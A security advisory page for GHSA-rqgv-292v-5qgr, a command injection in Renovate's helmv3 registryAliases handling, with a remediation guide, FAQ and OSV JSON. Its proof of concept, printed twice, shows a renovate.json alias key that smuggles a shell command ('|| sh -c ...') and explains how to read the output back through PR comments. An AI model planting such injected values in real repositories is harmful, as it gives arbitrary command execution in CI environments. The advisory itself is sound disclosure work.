GHSA-rqgv-292v-5qgr: Renovate Renovate Vulnerable To Arbitrary Command Vulnerability

MODERATE
CVSS 5.4
CWE-78
Published
Advisory Summary

GHSA-rqgv-292v-5qgr is a MODERATE (CVSS 5.4) renovate vulnerable to arbitrary command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Renovate libraries in the npm ecosystem. The issue involves renovate vulnerable to arbitrary command injection via helmv3 manager and registryaliases. Remediation is available by upgrading affected packages to version 37.199.0.

GHSA-rqgv-292v-5qgr at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-rqgv-292v-5qgr
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Renovate
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-rqgv-292v-5qgr

To remediate this vulnerability, upgrade all affected Renovate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

renovate fixed: 37.199.0
npm install renovate@37.199.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls renovate

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-rqgv-292v-5qgr, inspect your project dependencies using npm:

npm ls renovate

Analyze the terminal output to locate any version of Renovate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 37.199.0), your application is affected.

Note: The npm ls renovate command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Renovate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands. ### Details Since [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add <key> <parameters>` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands. ### PoC Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example: test-chart/Chart.yaml: ``` apiVersion: v2 name: redis version: 1.0.0 dependencies: - name: redis version: 18.13.10 repository: oci://registry-1.docker.io/bitnamicharts ``` test-chart/Chart.lock: ``` dependencies: - name: redis repository: oci://registry-1.docker.io/bitnamicharts version: 18.13.10 digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38 generated: "2024-02-16T13:31:20.807026334Z" ``` Then add the following `renovate.json`: ```json { "$schema": "https://docs.renovatebot.com/renovate-schema.json", "extends": [ "config:base" ], "registryAliases": { "foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy" } } ``` Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text: ``` File name: test-chart/Chart.lock Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update Error: "helm repo add" requires 2 arguments Usage: helm repo add [NAME] [URL] [flags] bin boot dev etc go home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var ``` This shows that the `ls` command executed successfully, and we can even see its output. Note that redirecting any output you want to see to stderr (`>&2`) and making sure the final command fails (`exit 1`) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output. ### Impact All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.

GHSA-rqgv-292v-5qgr Affected Renovate Versions

1 component(s)
Fixed Versions:
37.199.0
Product / Package Ecosystem Affected Versions Fixed Version
renovate
npm
≥ 37.158.0
< 37.199.0
37.199.0

References

Frequently Asked Questions

What is GHSA-rqgv-292v-5qgr?
GHSA-rqgv-292v-5qgr is a security vulnerability in Renovate involving Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Renovate versions are affected?
Affected versions include releases prior to 37.199.0 across affected packages: renovate.
What version fixes GHSA-rqgv-292v-5qgr?
Upgrading to 37.199.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is renovate affected?
Yes, renovate is affected in releases prior to 37.199.0. Upgrade your dependency to 37.199.0 or later.
What is the CVSS score of GHSA-rqgv-292v-5qgr?
GHSA-rqgv-292v-5qgr has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with GHSA-rqgv-292v-5qgr?
GHSA-rqgv-292v-5qgr is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for GHSA-rqgv-292v-5qgr?
Run the dependency tree command: 'npm ls renovate'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rqgv-292v-5qgr",
  "modified" : "2024-04-23T16:21:10Z",
  "published" : "2024-04-23T16:21:09Z",
  "aliases" : [ ],
  "summary" : "Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases",
  "details" : "### Summary\n\nAttackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.\n\n### Details\n\nSince [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add <key> <parameters>` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80\nThe key was not quoted, leading to the ability to use variable references (`$FOO`) in it and have them printed by Renovate on the pull request, or even running any shell commands.\n\n### PoC\n\nInside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:\n\ntest-chart/Chart.yaml:\n\n```\napiVersion: v2\nname: redis\nversion: 1.0.0\ndependencies:\n  - name: redis\n    version: 18.13.10\n    repository: oci://registry-1.docker.io/bitnamicharts\n```\n\ntest-chart/Chart.lock:\n\n```\ndependencies:\n- name: redis\n  repository: oci://registry-1.docker.io/bitnamicharts\n  version: 18.13.10\ndigest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38\ngenerated: \"2024-02-16T13:31:20.807026334Z\"\n```\n\nThen add the following `renovate.json`:\n\n```json\n{\n  \"$schema\": \"https://docs.renovatebot.com/renovate-schema.json\",\n  \"extends\": [\n    \"config:base\"\n  ],\n  \"registryAliases\": {\n    \"foo/bar || sh -c 'ls /; exit 1' >&2\": \"registry.example.com/proxy\"\n  }\n}\n```\n\nOnce Renovate runs on the repository, it will create a pull request, and add a comment titled \"Artifact update problem\" containing the following text:\n\n```\nFile name: test-chart/Chart.lock\n\nCommand failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update\nError: \"helm repo add\" requires 2 arguments\n\nUsage:  helm repo add [NAME] [URL] [flags]\nbin\nboot\ndev\netc\ngo\nhome\nlib\nlib32\nlib64\nlibx32\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n```\n\nThis shows that the `ls` command executed successfully, and we can even see its output.\n\nNote that redirecting any output you want to see to stderr (`>&2`) and making sure the final command fails (`exit 1`) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.\n\n### Impact\n\nAll Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "renovate"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "37.158.0"
      }, {
        "fixed" : "37.199.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/renovatebot/renovate/security/advisories/GHSA-rqgv-292v-5qgr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/renovatebot/renovate/commit/1e941fd885c799f2d38f4084a6f4cb9438813c8f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/renovatebot/renovate"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-04-23T16:21:09Z",
    "nvd_published_at" : null
  }
}